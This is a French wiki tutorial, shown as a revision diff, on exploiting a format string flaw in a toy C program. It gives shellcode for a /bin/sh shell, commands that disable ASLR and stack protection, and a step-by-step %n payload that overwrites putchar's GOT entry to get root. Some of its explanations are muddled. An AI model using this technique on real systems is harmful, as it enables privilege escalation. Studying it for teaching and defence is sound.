Différences

Ci-dessous, les différences entre deux révisions de la page.

Lien vers cette vue comparative

wiki:format_string [2018/04/23 17:13] (Version actuelle)
Ligne 1: Ligne 1:
 +Voici comment empêcher la faille format string.\\
 +Pour ce faire, on doit préciser un format lors de nos print, par exemple dans l'​exemple si dessous, int a va valoir un %d c'est à dire qu'on précise le format en décimal.
 +<​syntaxhighlight lang="​c">​
 +int main (){
 +        int a = -5;
 +        float b = 5.5;
 +        char *c =  "my string";​
 +        printf("​A = %d, B = %f, c = %s\n", a, b, c);
 +}
 +</​code>​
 +En revanche dans l'​exemple si dessous nous pouvons constater que lors du printf de b on ne spécifie aucun format (%...), cela nous indique donc que le code est composé de la faille Format String.
 +
 +int main(int argc, char *argv[]){
 +
 +        char b[128];
 +        strcpy(b, argv[1]);
 +        printf(b); //la faille est ici
 +        printf("​\n"​);​
 +}
 +</​code>​
 +Avant de commencer il va falloir installer: ​                 vim, gcc et gdb avec la commande: <code bash> apt-get install monpackage</​code>​
 +                              
 +
 +Il faut aussi désactiver l'ASLR via la commande:
 +<code bash> ​
 +echo 0 > /​proc/​sys/​kernel/​randomize_va_space
 +</​code>​
 +
 +Essayons cette faille ensemble, vous allez créer un fichier.c contenant le code du dessus.
 +
 +On va ensuite le compiler en retirant les sécurité de la stack avec :
 +<code bash> ​
 +gcc -z execstack -fno-stack-protector -m32 fichier.c -o fmt
 +</​code>​
 +
 +Nous allons chercher l'​offset de la table putchar avec la commande suivante (dans mon cas l'​offset est 0x080496e8) :
 +<code bash>
 +objdump -R fmt
 +</​code>​
 +
 +Nous allons ensuite inserer notre shell code pour pouvoir nop par la suite ce qui nous intéressera
 +<code bash>
 +export EGG=$(python -c 'print "​\x90"​ * 2000 + "​\x31\xc0\x31\xd2\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x54\x89\xe1\xb0\x0b\xcd\x80"'​)
 +</​code>​
 +
 +On va ensuite utiliser gdb avec cette commande le q nous permet de ne pas avoir de pub:
 +
 +<code bash>
 +gdb -q fmt
 +</​code>​
 +
 +On va maintenant ecrire dans l'​offset de putchar, et verifier si l’écriture a marché, pour cela, examinons '''​-%10u-%4\$n'''​ :\\
 +
 +%4 + %10 = 14 en decimal, on ajoute les deux tirés et l'​antislash on est donc maintenant à 17\\
 +En décimal 17 est égal à 10 car 16 = f et f + 1 =10\\
 +Nous devrions donc avoir un offset egal à ça : 0x00000010\\
 +
 +Le \$n signifie que nous allons modifier la valeur de l'​offset qui est pointé par un offset (il faut juste retenir que cela nous permet de modifier)
 +Si il y avait eu un s on aurait pu seulement l'​examiner.
 +Un x lui, permet d'​afficher un offset (de l'​examiner)
 +
 +On va donc utiliser la commande suivante
 +<code bash>​  ​     ​
 +run $(python -c 'print "​\xe8\x96\x04\x08"'​)-%10u-%4\$n
 +</​code>​
 +
 +Nous allons vérifier que notre offset pointe vers l'​offset de putchar ​
 +x/x lOffset_du_putchar
 +Avec la valeur de mon offset cela donne:
 +<code bash>
 +x/x 0x80496e8
 +</​code>​
 +Vous devriez avoir quelque chose comme ceci:
 +0x80496e8 <​putchar@got.plt>: ​   0x00000010
 +
 +Nous allons maintenant chercher dans la stack des offset nop
 +<code bash>
 +find $esp, $esp + 2000, 0x90909090
 +</​code>​
 +
 +Il vous faut en choisir un situé au milieu de la liste, par exemple j'ai choisi 0xbffff6ac
 +
 +On va maintenant vérifier nos nop en examinant l'​offset (faite attention choisissez votre offset):
 +<code bash>
 +x/100x 0xbffff6ac ​
 +</​code>​
 +
 +On va choisir une adresse du milieu, et oui encore une fois, j'ai choisie l'​adresse 0xbffff77c
 +Le but sera maintenant de modifier notre adresse 0x00000010 en 0xbffff77c
 +
 +Rappelez vous la commande précédente qui nous à permis d'​avoir 0x00000010, nous allons l'​améliorer pour obtenir le bon résultat.
 +
 +Pour cela on va utiliser la calculatrice,​ allez c'est partie, a vos calculette près partez:
 +
 +Dans un premier temps, il va falloir vous mettre en tête que la partie "​\xe8\x96\x04\x08"​ va correspondre à la moitié droite de notre offset, sois f77c .
 +Donc allons y, pour pouvoir y arriver on va sortir notre calculatrice en mode hexadecimal et on va convertir f77c en décimal.
 +Pour ma part f77c = 63356
 +
 +Il ne faut pas oublier d'​enlever nos caractère en trop, c'est à dire nos 4 antislash de notre \xe8\x96\x04\x08 et nos deux tirets sois 6 caractères.
 +Donc cela fait 63356 - 6 = 63350
 +Il nous suffis maintenant de modifier notre %10u par %votre_résultat_en_décimal_final pour ma part ce sera %63350
 +
 +La commande sera donc:
 +<code bash>
 +run $(python -c 'print "​\xe8\x96\x04\x08"'​)-%63350u-%4\$n
 +</​code>​
 +
 +Si tous va bien la partie droite de votre offset sera égal à la partie droite de l'​offset voulu. ​
 +Pour ma part pour 0xbffff77c j'ai bien 0x0000f77c
 +
 +Il nous manque donc plus que la partie gauche à faire.
 +Pour l'​obtenir nous allons devoir l'​ajouter à notre run $(python -c 'print "​\xe8\x96\x04\x08"'​)-%10u-%4\$n
 +
 +Pour cela il suffit de rajouter un a à la fin de votre offset voir ci join:
 +<code bash>
 +run $(python -c 'print "​\xe8\x96\x04\x08"​ + "​\xea\x96\x04\x08"'​)-%63350u-%4\$n-%10u-%5\$n
 +</​code>​
 +
 +On voit que le xe8 est passé en xea ce qui va nous permettre de modifier la partie gauche.
 +Pour ce faire nous allons rajouter par exemple un -%10u suivit d'un -%5\$n qui est obligatoire car il permet de préciser au -%10u de modifier la partie gauche c'est à dire 0000 en bfff.
 +
 +Avant de lancer la commande, on voit qu'on a rajouté quatre antislash ceux de \xea\x96\x04\x08 donc comme tout à l'​heure,​ on va retirer 4 à notre résultat ce qui dans mon cas donne 63350 - 4 = 63346.
 +
 +On lance donc la commande suivante :
 +<code bash>
 +run $(python -c 'print "​\xe8\x96\x04\x08"​ + "​\xea\x96\x04\x08"'​)-%63346u-%4\$n-%10u-%5\$n
 +</​code>​
 +
 +Mon résultat est de 0xf788f77c et je dois arriver à 0xbffff77c
 +On vois bien que la partie gauche est passée de 0000 à f788 et que la partie droite est bien la bonne c'est à dire f77c
 +
 +Allez on y est presque encore un peu d'​effort :)
 +
 +Pour trouver le bon résultat il nous suffit de soustraire la partie gauche de l'​offset recherché par la partie droite.
 +Faite le, pour moi se sera bfff - f77c et mettez le résultat en décimal.
 +
 +Si vous obtenez un résultat négatif c'est normal et c'est que vous êtes sur le bon chemin.
 +Pour ma part j'ai obtenu -14205.
 +
 +Comme vous vous en doutez on ne doit pas obtenir un résultat négatif, pour ce faire nous allons rajouter 1 en hexadécimal devant notre bfff.
 +
 +Allez c'est partie:
 +      Faite 1 suivit de votre partie gauche - votre partie droite
 +      Pour ma part ce sera 1bfff - f77c = 51331
 +      Et voila nous avons maintenant un résultat positif
 +
 +N'​oubliez pas de soustraire à votre résultat vos deux tirés, c'est à dire pour ma part 51331 - 2 = 51329
 +Remplacez votre -%10u-%5\$n par votre résultat, pour ma part ce sera -%51329u-%5\$n
 +
 +La commande final sera donc pour ma part : 
 +<code bash>
 +run $(python -c 'print "​\xe8\x96\x04\x08"​ + "​\xea\x96\x04\x08"'​)-%63346u-%4\$n-%51329u-%5\$n
 +</​code>​
 +Félicitation vous avez réussi :
 +Un petit whoami et voila vous voyez bien que vous êtes root.
  
wiki/format_string.txt · Dernière modification: 2018/04/23 17:13 (modification externe)
CC0 1.0 Universal
Powered by PHP Driven by DokuWiki Recent changes RSS feed Valid CSS Valid XHTML 1.0 Valid HTML5